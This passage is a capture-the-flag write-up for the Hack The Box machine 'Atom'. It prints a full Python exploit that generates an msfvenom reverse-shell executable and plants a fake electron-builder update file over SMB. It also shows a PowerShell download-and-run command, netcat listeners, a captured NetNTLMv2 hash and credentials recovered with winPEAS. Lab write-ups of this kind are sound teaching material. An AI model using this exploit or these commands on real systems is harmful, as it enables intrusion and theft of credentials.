Base64-encoded SHA512-sum of payload: UboG1lEwJPbfExtL8ttp6CbfYi9nJ3mOZ8TAZzQ2ETcdq+OBXJWM/B1x6B2jEEpR8u7umo3RC5Npr15lmMjjLA==

=== Generating YAML File ===

version: 1.0.1
files:
  url: http://10.10.14.39/heedv1'Setup1.0.1.exe
  sha512: UboG1lEwJPbfExtL8ttp6CbfYi9nJ3mOZ8TAZzQ2ETcdq+OBXJWM/B1x6B2jEEpR8u7umo3RC5Npr15lmMjjLA==
  size: 73802
path: heedv1'Setup1.0.1.exe
sha512: UboG1lEwJPbfExtL8ttp6CbfYi9nJ3mOZ8TAZzQ2ETcdq+OBXJWM/B1x6B2jEEpR8u7umo3RC5Npr15lmMjjLA==
releaseDate: '2021-04-21T11:17:02.627Z'
YAML saved at to-serve/latest.yml
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ ls to-serve/
"heedv1'Setup1.0.1.exe"   latest.yml
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ cat to-serve/latest.yml 
version: 1.0.1
files:
  url: http://10.10.14.39/heedv1'Setup1.0.1.exe
  sha512: UboG1lEwJPbfExtL8ttp6CbfYi9nJ3mOZ8TAZzQ2ETcdq+OBXJWM/B1x6B2jEEpR8u7umo3RC5Npr15lmMjjLA==
  size: 73802
path: heedv1'Setup1.0.1.exe
sha512: UboG1lEwJPbfExtL8ttp6CbfYi9nJ3mOZ8TAZzQ2ETcdq+OBXJWM/B1x6B2jEEpR8u7umo3RC5Npr15lmMjjLA==
releaseDate: '2021-04-21T11:17:02.627Z'

SMB

I used this gist for uploading to SMB:

resp = conn.storeFile('Software_Updates', 'client1/latest.yml', file)

Listing within the directory shows it’s uploaded:

smb: \client1\> dir
  .                                   D        0  Wed Jun  2 14:22:45 2021
  ..                                  D        0  Wed Jun  2 14:22:45 2021
  latest.yml                          A     2776  Wed Jun  2 14:22:45 2021

Awesome - now it’s automated, we just need to debug it to get it to execute code.

Final Script Structure

This structure is working - just the payload needs adjusting:

import netifaces as ni
import subprocess
import sys
import argparse
import os
from pathlib import Path
import hashlib
import base64
from smb.SMBConnection import SMBConnection

def get_ip(interface):
    """find your IP on a given interface"""
    ni.ifaddresses(interface)
    ip = ni.ifaddresses(interface)[ni.AF_INET][0]['addr']
    print("IP Address on interface " + interface + ": " + ip)
    
    return ip

def gen_payload(ip, port, payload, dir):
    """generate an msfvenom payload with given IP address and port"""

    cmd_str = 'msfvenom -a x86 --platform windows -p ' + payload + ' LHOST=' + str(ip) + ' LPORT=' + str(port) + ' -e x86/shikata_ga_nai -f exe -o "' + dir + 'heedv1\'Setup1.0.1.exe"'

    print("Running command: " + cmd_str)
    
    subprocess.call(cmd_str, shell=True)

def get_payload(args, ip, port, path):
    """generate a payload with msfvenom, calculate its size and sha512 sum
    if a payload has already been generated, just calculate its size and sha512 sum"""

    print("\n=== Generating Payload ===\n")

    payload_path = ""

    payload_name = "heedv1'Setup1.0.1.exe"

    #get payload options, taking --payload as priority over --msf_payload if both provided
    if args.payload is not None:
        payload_path = Path(args.payload)

        print("Payload Path: " + str(payload_path))

    else:
        if args.msf_payload is not None:
            #get payload to use with msfvenom
            msf_payload = args.msf_payload

            print("Using payload " + str(msf_payload) + " with msfvenom")
        
        else:
            #default payload
            msf_payload = "windows/shell_reverse_tcp"

            print("No --msf_payload or --payload flag provided. Using default windows/shell_reverse_tcp payload and generating with msfvenom")

        #generate shell payload
        gen_payload(ip, port, msf_payload, path)

        payload_path = path + payload_name
        print("Payload saved at: " + payload_path)
    
    #get size of payload
    size = os.path.getsize(Path(payload_path))
    print("Size: " + str(size))

    sum = gen_checksum(Path(payload_path))

    return payload_name, size, sum

def gen_checksum(filepath):
    """generate a sha512 hash of the file and base64 encode it"""

    #set a buffer size to hash in chunks
    BUF_SIZE = 65536

    sha512 = hashlib.sha512()

    with open(filepath, 'rb') as f:
        while True:
            data = f.read(BUF_SIZE)
            if not data:
                break
            sha512.update(data)

    b64 = base64.b64encode(sha512.digest()).decode('utf-8')

    print("Base64-encoded SHA512-sum of payload: " + b64)

    return b64

def gen_yaml(ip, payload, size, sum, dir):

    print("\n=== Generating YAML File ===\n")

    yml_string = ("version: 1.0.1\n"
        "files:\n"
        "  url: http://{ip}/{payload}\n"
        "  sha512: {sha}\n"
        "  size: {size}\n"
        "path: {payload}\n"
        "sha512: {sha}\n"
        "releaseDate: '2021-04-21T11:17:02.627Z'"
        ).format(ip=ip, payload=payload, sha=sum, size=size)
    
    print(yml_string)

    yml_path = dir + "/latest.yml"

    with open(yml_path, 'a') as f:
        f.write(yml_string)
        f.close()

    print("YAML saved at " + yml_path)

    return yml_path

def smb_upload(yml_path):

    print("\n=== Uploading to SMB ===\n")

    #set client details
    userID = "whoever"
    password = ""
    client_machine_name = "client"

    #set server details
    server_name = "ATOM" #netbios name
    server_ip = "10.10.10.237"
    domain_name = "atom.htb"

    #create and open connection
    conn = SMBConnection(userID, password, client_machine_name, server_name, domain=domain_name, use_ntlm_v2=True,
                     is_direct_tcp=True)

    conn.connect(server_ip, 445)

    #upload yml file
    with open(yml_path, 'rb') as file:
        # conn.storeFile('client1', 'latest.yml', file)
        resp = conn.storeFile('Software_Updates', 'client1/latest.yml', file)

    print(str(resp))

    conn.close()

def main():
    parser = argparse.ArgumentParser(prog="send-payload.py", description="Sends a payload to a vulnerable Electron Builder instance over SMB. If no port is provided, listens on port 9001 by default. No default option for IP address is specified.")

    #positional arguments
    parser.add_argument("ip", help="Target IP address")

    #named parameters/flags
    parser.add_argument("-p", "--payload", help="The path to an existing payload. Specify this if you don't want to generate one with msfvenom", dest="payload")
    parser.add_argument("-m", "--msf_payload", help="Msfvenom payload to use. Default is windows/x64/shell_reverse_tcp", dest="msf_payload")
    parser.add_argument("-a", "--lip", help="Local IP address to listen on. Specify either this or --lint", dest="lip")
    parser.add_argument("-i", "--lint", help="Local interface to listen on. Specify either this or --lip", dest="lint")
    parser.add_argument("-P", "--lport", help="Local port to listen on. 9001 by default", dest="lport")
    parser.add_argument("-d", "--dir", help="Directory to save payload and stand up server in", dest="dir")

    #parse arguments
    args = parser.parse_args()

    #default values
    path = ""
    port = "9001"

    #get local IP, taking --lip as priority over --lint if both provided
    if args.lip is not None:
        ip = args.lip
        print("IP Address: " + ip)
    elif args.lint is not None:
        ip = get_ip(args.lint)
    else:
        print("You must provide one of --lip or --lint. Run python3 send-payload.py -h for usage")
        sys.exit(1)

    #get port
    arg_port = args.lport
    if arg_port is not None:
        port = arg_port

    #mkdir if doesn't exist
    arg_path = args.dir
    if arg_path is not None:
        path = arg_path + "/"
        dirpath = Path(arg_path)

        if not dirpath.is_dir():
            print("Directory not found - creating directory")
            dirpath.mkdir()

    # remind user to start a listener
    # in future, start python server in a thread
    print("Make sure to start required listeners before continuing.\nRun a netcat listener to catch your shell: nc -lnvp {port}\nRun a Python Server to serve your shell in {dir}: sudo python3 -m http.server 80".format(port=port, dir=path))
    input("Press enter to continue once you've started your listeners...\n")
    
    payload_name, size, sum = get_payload(args, ip, port, path)

    yml_path = gen_yaml(ip, payload_name, size, sum, arg_path)

    smb_upload(yml_path)

if __name__ == '__main__':
    main()

I could get a shell manually this way by copying my friend’s filename, but using heed'setup.exe didn’t work (even after switching to the well known port 443):

┌──(mac㉿kali)-[~/Documents/HTB/atom/to-serve]
└─$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.237 - - [03/Jun/2021 21:58:33] code 404, message File not found
10.10.10.237 - - [03/Jun/2021 21:58:33] "GET /heed'setup.exe.blockmap HTTP/1.1" 404 -
10.10.10.237 - - [03/Jun/2021 21:58:34] "GET /heed%27setup.exe HTTP/1.1" 200 -

┌──(mac㉿kali)-[~/Documents/HTB/atom/smb]
└─$ sudo nc -lnvp 443
listening on [any] 443 ...

I replaced the filename in my script to match my friend’s, and it worked - so the issue wasn’t with my code. When I tried the filename h'eed in my final payload it worked.

The code is available here.

Shell as Jason

I did some basic privilege enumeration:

C:\Users\jason\Desktop>whoami /all
whoami /all

USER INFORMATION
----------------

User Name  SID                                           
========== ==============================================
atom\jason S-1-5-21-1199094703-3580107816-3092147818-1002


GROUP INFORMATION
-----------------

Group Name                             Type             SID          Attributes                                        
====================================== ================ ============ ==================================================
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE               Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                          Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account             Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                  Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192                                                    


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State   
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled 
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled

ERROR: Unable to get user claims information.

And netstat:

C:\Users\jason\Desktop>netstat
netstat

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    10.10.10.237:445       10.10.14.39:34122      ESTABLISHED
  TCP    10.10.10.237:6379      10.10.14.239:33482     ESTABLISHED
  TCP    10.10.10.237:50771     10.10.14.239:4321      ESTABLISHED
  TCP    10.10.10.237:50930     10.10.14.39:https      ESTABLISHED

I had a poke around jason’s files:

C:\Users\jason\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 9793-C2E6

 Directory of C:\Users\jason\Desktop

04/02/2021  10:29 PM    <DIR>          .
04/02/2021  10:29 PM    <DIR>          ..
03/31/2021  02:09 AM             2,353 heedv1.lnk
03/31/2021  02:09 AM             2,353 heedv2.lnk
03/31/2021  02:09 AM             2,353 heedv3.lnk
06/02/2021  01:10 PM                34 user.txt
               4 File(s)          7,093 bytes
               2 Dir(s)   5,602,054,144 bytes free

And looked at the system info:

C:\Users\jason>systeminfo
systeminfo

Host Name:                 ATOM
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19042 N/A Build 19042
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          barry
Registered Organization:   
Product ID:                00330-80112-18556-AA358
Original Install Date:     4/1/2021, 3:57:31 AM
System Boot Time:          6/25/2021, 9:40:23 AM
System Manufacturer:       VMware, Inc.
System Model:              VMware7,1
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
BIOS Version:              VMware, Inc. VMW71.00V.13989454.B64.1906190538, 6/19/2019
Windows Directory:         C:\WINDOWS
System Directory:          C:\WINDOWS\system32
Boot Device:               \Device\HarddiskVolume3
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory:     4,095 MB
Available Physical Memory: 2,792 MB
Virtual Memory: Max Size:  5,503 MB
Virtual Memory: Available: 4,260 MB
Virtual Memory: In Use:    1,243 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              \\ATOM
Hotfix(s):                 9 Hotfix(s) Installed.
                           [01]: KB4601554
                           [02]: KB4562830
                           [03]: KB4570334
                           [04]: KB4577586
                           [05]: KB4580325
                           [06]: KB4586864
                           [07]: KB4589212
                           [08]: KB5000842
                           [09]: KB5000981
Network Card(s):           1 NIC(s) Installed.
                           [01]: vmxnet3 Ethernet Adapter
                                 Connection Name: Ethernet0
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 10.10.10.237
                                 [02]: fe80::6df8:22:7a70:9ec5
                                 [03]: dead:beef::6da8:a31c:7baf:425d
                                 [04]: dead:beef::6df8:22:7a70:9ec5
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

The version of windows is pretty recent and has a lot of hotfixes. I decided to run winPEAS to enumerate further.

WinPEAS

I couldn’t get it with IEX:

C:\Users>powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.16.211:8000/winPEASany.exe')"            
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.16.211:8000/winPEASany.exe')"
IEX : At line:6 char:8
+ *V(3
+        ~
Missing closing ')' in expression.
At line:10 char:2
+ ,/('
+  ~

...[lots of errors]...

Missing closing '}' in statement block or type definition.
Not all parse errors were reported.  Correct the reported errors and try again.
At line:1 char:1
+ IEX(New-Object Net.WebClient).downloadString('http://10.10.16.211:800 ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
    + FullyQualifiedErrorId : MissingEndParenthesisInExpression,Microsoft.PowerShell.Commands.InvokeExpressionCommand

So I used impacket-smbserver instead. On my local machine:

┌──(mac㉿kali)-[~]
└─$ cd Documents/enum/
┌──(mac㉿kali)-[~/Documents/enum]
└─$ sudo impacket-smbserver share .
[sudo] password for mac: 
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.237,60924)
[*] AUTHENTICATE_MESSAGE (ATOM\jason,ATOM)
[*] User ATOM\jason authenticated successfully
[*] jason::ATOM:aaaaaaaaaaaaaaaa:a466af52f6c2f02a53ce6811c8e58383:0101000000000000009a7b8e726ad70177d2b432c50e06c300000000010010004200730075004a004800440073006b00030010004200730075004a004800440073006b0002001000430045004200540058004b004c006c0004001000430045004200540058004b004c006c0007000800009a7b8e726ad701060004000200000008003000300000000000000000000000002000003d1f2a5d9f565e972c5d55925af40a8257a7792a673eae1f0494bb48b60531490a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310036002e003200310031000000000000000000
[-] Unknown level for query path info! 0x109
[*] Disconnecting Share(1:IPC$)
[*] Disconnecting Share(2:SHARE)
[*] Closing down connection (10.10.10.237,60924)
[*] Remaining connections []

On the box:

C:\Windows>cd %temp%
cd %temp%

C:\Users\jason\AppData\Local\Temp>copy \\10.10.16.211\share\winPEASany.exe .
copy \\10.10.16.211\share\winPEASany.exe .
        1 file(s) copied.

C:\Users\jason\AppData\Local\Temp>winPEASany.exe
winPEASany.exe
ANSI color bit for Windows is not set. If you are execcuting this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD

Nice!

WinPEAS Highlights

It shows where the SMB files are stored:

    h'eed(1184)[C:\Users\jason\AppData\Roaming\heedv1\__update__\h'eed.exe] -- POwn: jason
    Permissions: jason [AllAccess]
    Possible DLL Hijacking folder: C:\Users\jason\AppData\Roaming\heedv1\__update__ (jason [AllAccess])
    Command Line: C:\Users\jason\AppData\Roaming\heedv1\__update__\h'eed.exe --updated --force-run

And found a few standard things such as unquoted paths. The scheduled processes told us a bit about how the node application is deployed:

[+] Scheduled Applications --Non Microsoft--
   [?] Check if you can modify other users scheduled binaries https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries
    (ATOM\Administrator) SoftwareUpdates: C:\Users\jason\appdata\roaming\cache\run.bat 
    Permissions file: jason [WriteData/CreateFiles AllAccess]
    Permissions folder(DLL Hijacking): jason [WriteData/CreateFiles AllAccess]
    Trigger: At log on of ATOM\jason
    
   =================================================================================================

    (ATOM\Administrator) UpdateServer: C:\Users\jason\appdata\roaming\cache\http-server.bat 
    Permissions file: jason [WriteData/CreateFiles AllAccess]
    Permissions folder(DLL Hijacking): jason [WriteData/CreateFiles AllAccess]
    Trigger: At log on of ATOM\jason
    
   =================================================================================================

It also enumerated open ports:

  [+] Current TCP Listening Ports
   [?] Check for services restricted from the outside 
  Enumerating IPv4 connections

  Protocol   Local Address         Local Port    Remote Address        Remote Port     State             Process ID      Process Name

  TCP        0.0.0.0               80            0.0.0.0               0               Listening         2580            httpd
  TCP        0.0.0.0               135           0.0.0.0               0               Listening         928             svchost
  TCP        0.0.0.0               443           0.0.0.0               0               Listening         2580            httpd
  TCP        0.0.0.0               445           0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               5040          0.0.0.0               0               Listening         5820            svchost
  TCP        0.0.0.0               5985          0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               6379          0.0.0.0               0               Listening         1544            redis-server
  TCP        0.0.0.0               8081          0.0.0.0               0               Listening         4596            C:\Program Files\nodejs\node.exe
  TCP        0.0.0.0               8082          0.0.0.0               0               Listening         1900            C:\Program Files\nodejs\node.exe
  TCP        0.0.0.0               8083          0.0.0.0               0               Listening         2000            C:\Program Files\nodejs\node.exe
  TCP        0.0.0.0               47001         0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               49664         0.0.0.0               0               Listening         684             lsass
  TCP        0.0.0.0               49665         0.0.0.0               0               Listening         532             wininit
  TCP        0.0.0.0               49666         0.0.0.0               0               Listening         1056            svchost
  TCP        0.0.0.0               49667         0.0.0.0               0               Listening         1572            svchost
  TCP        0.0.0.0               49668         0.0.0.0               0               Listening         2112            spoolsv
  TCP        0.0.0.0               49669         0.0.0.0               0               Listening         672             services
  TCP        10.10.10.237          139           0.0.0.0               0               Listening         4               System
  TCP        10.10.10.237          445           10.10.16.211          42294           Established       4               System
  TCP        10.10.10.237          58568         10.10.16.211          443             Established       1184            C:\Users\jason\AppData\Roaming\heedv1\__update__\h'eed.exe
  TCP        10.10.10.237          60900         10.10.16.211          443             Established       6792            C:\Users\jason\AppData\Roaming\heedv1\__update__\h'eed.exe
  TCP        10.10.10.237          60924         10.10.16.211          445             Established       4               System

  Enumerating IPv6 connections

  Protocol   Local Address                               Local Port    Remote Address                              Remote Port     State             Process ID      Process Name

  TCP        [::]                                        80            [::]                                        0               Listening         2580            httpd
  TCP        [::]                                        135           [::]                                        0               Listening         928             svchost
  TCP        [::]                                        443           [::]                                        0               Listening         2580            httpd
  TCP        [::]                                        445           [::]                                        0               Listening         4               System
  TCP        [::]                                        5985          [::]                                        0               Listening         4               System
  TCP        [::]                                        6379          [::]                                        0               Listening         1544            redis-server
  TCP        [::]                                        47001         [::]                                        0               Listening         4               System
  TCP        [::]                                        49664         [::]                                        0               Listening         684             lsass
  TCP        [::]                                        49665         [::]                                        0               Listening         532             wininit
  TCP        [::]                                        49666         [::]                                        0               Listening         1056            svchost
  TCP        [::]                                        49667         [::]                                        0               Listening         1572            svchost
  TCP        [::]                                        49668         [::]                                        0               Listening         2112            spoolsv
  TCP        [::]                                        49669         [::]                                        0               Listening         672             services

This shows us the Node servers, as well as Redis which we saw on our initial nmap scan.

Crucially, it finds a password in Credential manager, kidvscat_electron_@123:

  =========================================(Windows Credentials)=========================================

  [+] Checking Windows Vault
   [?]  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-manager-windows-vault
    Not Found

  [+] Checking Credential manager
   [?]  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-manager-windows-vault
    [!] Warning: if password contains non-printable characters, it will be printed as unicode base64 encoded string


     Username:              ATOM\jason
     Password:               kidvscat_electron_@123
     Target:                ATOM\jason
     PersistenceType:       Enterprise
     LastWriteTime:         3/31/2021 2:53:49 AM

   =================================================================================================

We’ll use this later.

Node Servers

I played around a bit with run.bat, which seems to start the node servers:

type C:\Users\jason\appdata\roaming\cache\run.bat
@echo off

:LOOP

echo Running Executables

START /B C:\Users\jason\appdata\Local\programs\heedv1\heedv1.exe > nul
START /B C:\Users\jason\appdata\Local\programs\heedv2\heedv2.exe > nul
START /B C:\Users\jason\appdata\Local\programs\heedv3\heedv3.exe > nul

echo Wait for updates

ping -n 30 127.0.0.1 > nul

echo Killing Executables

taskkill /F /IM heedv1.exe
taskkill /F /IM heedv2.exe
taskkill /F /IM heedv3.exe

ping -n 30 127.0.0.1 > nul

cls

GOTO :LOOP

:EXIT
C:\Users\jason\Desktop>type C:\Users\jason\appdata\roaming\cache\http-server.bat
type C:\Users\jason\appdata\roaming\cache\http-server.bat
@echo off

echo Starting servers

START /B c:\users\jason\downloads\node_modules\.bin\http-server c:\software_updates\client1 -p 8081
START /B c:\users\jason\downloads\node_modules\.bin\http-server c:\software_updates\client2 -p 8082
START /B c:\users\jason\downloads\node_modules\.bin\http-server c:\software_updates\client3 -p 8083

C:\Program Files\nodejs\node.exe is running on these ports according to winpeas. While the ports were listening on all interfaces, they couldn’t be accessed in the browser. nmap showed them as filtered:

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ nmap -sC -sV -p 8081,8082,8083 -oA nmap/atom-node 10.10.10.237
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-26 11:15 BST
Nmap scan report for atom.htb (10.10.10.237)
Host is up (0.021s latency).

PORT     STATE    SERVICE         VERSION
8081/tcp filtered blackice-icecap
8082/tcp filtered blackice-alerts
8083/tcp filtered us-srv

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.71 seconds

I tried IWR locally in case they were only accessible from localhost:

C:\Users\jason\Desktop>powershell "Invoke-WebRequest http://localhost:8081"
powershell "Invoke-WebRequest http://localhost:8081"
Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or 
Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again. 
At line:1 char:1
+ Invoke-WebRequest http://localhost:8081
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException
    + FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestComman 
   d
 

This didn’t seem to go anywhere.

I looked at a couple of articles about pentesting NodeJS: https://resources.infosecinstitute.com/topic/penetration-testing-node-js-applications-part-1/

And used tasklist to see who is running the process:

C:\Users\jason\AppData\Local\Programs\heedv1>tasklist /v
tasklist /v

Image Name                     PID Session Name        Session#    Mem Usage Status          User Name                                              CPU Time Window Title                                                            
========================= ======== ================ =========== ============ =============== ================================================== ============ ========================================================================


redis-server.exe              1544 Services                   0     19,776 K Unknown         N/A                                                     0:00:00 N/A                                                                     
node.exe                      4596 Console                    1      8,064 K Unknown         ATOM\jason                                              0:00:04 N/A                                                                     
node.exe                      1900 Console                    1      7,976 K Unknown         ATOM\jason                                              0:00:03 N/A                                                                     
node.exe                      2000 Console                    1      7,976 K Unknown         ATOM\jason                                              0:00:02 N/A           

As it’s Jason, I doubt Node is the right path to privilege escalation.

Redis & PortableKanban

I went back to the potential password from credential manager: kidvscat_electron_@123

Could we use this with one of original services discovered by nmap?

Trying redis-cli

I’d never used Redis before, so checked Hacktricks - I always like doing this for a new service.

It recommends redis-tools for connecting:

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ sudo apt install redis-tools

The CLI is super nice, and autofills!

… but unfortunately it doesn’t work.

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ redis-cli -h 10.10.10.237 -p 6379
10.10.10.237:6379> info
NOAUTH Authentication required.
10.10.10.237:6379> AUTH jason kidvscat_electron_@123
(error) ERR wrong number of arguments for 'auth' command
10.10.10.237:6379> AUTH jason kidvscat_electron_@123
(error) ERR wrong number of arguments for 'auth' command
10.10.10.237:6379> AUTH kidvscat_electron_@123
(error) ERR invalid password

It seems like Redis < 6.0 only supports password. There’s no way to check version without the INFO command, which we can’t run unauthenticated. I tried a couple more times, but couldn’t get it to work:

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ redis-cli -h 10.10.10.237 -p 6379 -a kidvscat_electron_@123
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
Warning: AUTH failed
10.10.10.237:6379> 
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ redis-cli -h 10.10.10.237 -p 6379 -u jason -a kidvscat_electron_@123
Invalid URI scheme

I tried using the password with evil-winrm:

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ sudo gem install evil-winrm
Fetching multi_json-1.15.0.gem
...[snip]...
Successfully installed winrm-fs-1.3.5
Happy hacking! :)
Successfully install ...[snip]...
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ evil-winrm -u jason -p 'kidvscat_electron_@123' -i 10.10.10.237

Evil-WinRM shell v2.4

Info: Establishing connection to remote endpoint

Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError

Error: Exiting with code 1

But it didn’t work.

Digging Around PortableKanban

I continued enumerating files to see if there was another password, or another place to use the password. I stumbled across PortableKanban in Jason’s downloads directory:

C:\Users\jason\Downloads>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 9793-C2E6

 Directory of C:\Users\jason\Downloads

04/02/2021  08:00 AM    <DIR>          .
04/02/2021  08:00 AM    <DIR>          ..
03/31/2021  02:36 AM    <DIR>          node_modules
04/02/2021  08:21 PM    <DIR>          PortableKanban
               0 File(s)              0 bytes
               4 Dir(s)   5,666,607,104 bytes free

I’d seen this before on writeups of Sharp. There is an exploit available which decrypts passwords in the PortableKanban.pk3 file, but it doesn’t exist:

C:\Users\jason\Downloads\PortableKanban>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 9793-C2E6

 Directory of C:\Users\jason\Downloads\PortableKanban

04/02/2021  08:21 PM    <DIR>          .
04/02/2021  08:21 PM    <DIR>          ..
02/27/2013  08:06 AM            58,368 CommandLine.dll
11/08/2017  01:52 PM           141,312 CsvHelper.dll
06/22/2016  09:31 PM           456,704 DotNetZip.dll
04/02/2021  07:44 AM    <DIR>          Files
11/23/2017  04:29 PM            23,040 Itenso.Rtf.Converter.Html.dll
11/23/2017  04:29 PM            75,776 Itenso.Rtf.Interpreter.dll
11/23/2017  04:29 PM            32,768 Itenso.Rtf.Parser.dll
11/23/2017  04:29 PM            19,968 Itenso.Sys.dll
11/23/2017  04:29 PM           376,832 MsgReader.dll
07/03/2014  10:20 PM           133,296 Ookii.Dialogs.dll
04/02/2021  07:17 AM    <DIR>          Plugins
04/02/2021  08:22 PM             5,920 PortableKanban.cfg
01/04/2018  09:12 PM           118,184 PortableKanban.Data.dll
01/04/2018  09:12 PM         1,878,440 PortableKanban.exe
01/04/2018  09:12 PM            31,144 PortableKanban.Extensions.dll
04/02/2021  07:21 AM               172 PortableKanban.pk3.lock
09/06/2017  12:18 PM           413,184 ServiceStack.Common.dll
09/06/2017  12:17 PM           137,216 ServiceStack.Interfaces.dll
09/06/2017  12:02 PM           292,352 ServiceStack.Redis.dll
09/06/2017  04:38 AM           411,648 ServiceStack.Text.dll
01/04/2018  09:14 PM         1,050,092 User Guide.pdf
              19 File(s)      5,656,416 bytes

We can try it on the lock file, but it doesn’t look to have a password in it:

C:\Users\jason\Downloads\PortableKanban>type PortableKanban.pk3.lock
type PortableKanban.pk3.lock
{"MachineName":"ATOM","UserName":"jason","SID":"S-1-5-21-1199094703-3580107816-3092147818-1002","AppPath":"C:\\Users\\jason\\Downloads\\PortableKanban\\PortableKanban.exe"}

The db password field used in sharp wasn’t there, so I thought I’d move on. Maybe there’s something in the config:

C:\Users\jason\Downloads\PortableKanban>type PortableKanban.cfg
type PortableKanban.cfg
{"RoamingSettings":{"DataSource":"RedisServer","DbServer":"localhost","DbPort":6379,"DbEncPassword":"Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb","DbServer2":"","DbPort2":6379,"DbEncPassword2":"","DbIndex":0,"DbSsl":false,"DbTimeout":10,"FlushChanges":true,"UpdateInterval":5,"AutoUpdate":true,"Caption":"My Tasks","RightClickAction":"Nothing","DateTimeFormat":"ddd, M/d/yyyy h:mm tt","BoardForeColor":"WhiteSmoke","BoardBackColor":"DimGray","ViewTabsFont":"Segoe UI, 

...[snip]...

DbEncPassword catches my eye: Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb

PortableKanban is maybe storing its passwords in Redis. However, the DbEncPassword doesn’t work to authenticate to Redis:

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ redis-cli -h 10.10.10.237 -p 6379 -a Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
Warning: AUTH failed
10.10.10.237:6379> 
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ echo 'Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb' | base64 -d

And it also doesn’t decode using the decryption exploit.

Finding Password in Redis Config

I got a small hint and looked through the Redis config files as well:

C:\Users\jason\.config>cd \Program Files\Redis
cd \Program Files\Redis

C:\Program Files\Redis>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 9793-C2E6

 Directory of C:\Program Files\Redis

06/25/2021  09:41 AM    <DIR>          .
06/25/2021  09:41 AM    <DIR>          ..
07/01/2016  03:54 PM             1,024 EventLog.dll
04/02/2021  07:31 AM    <DIR>          Logs
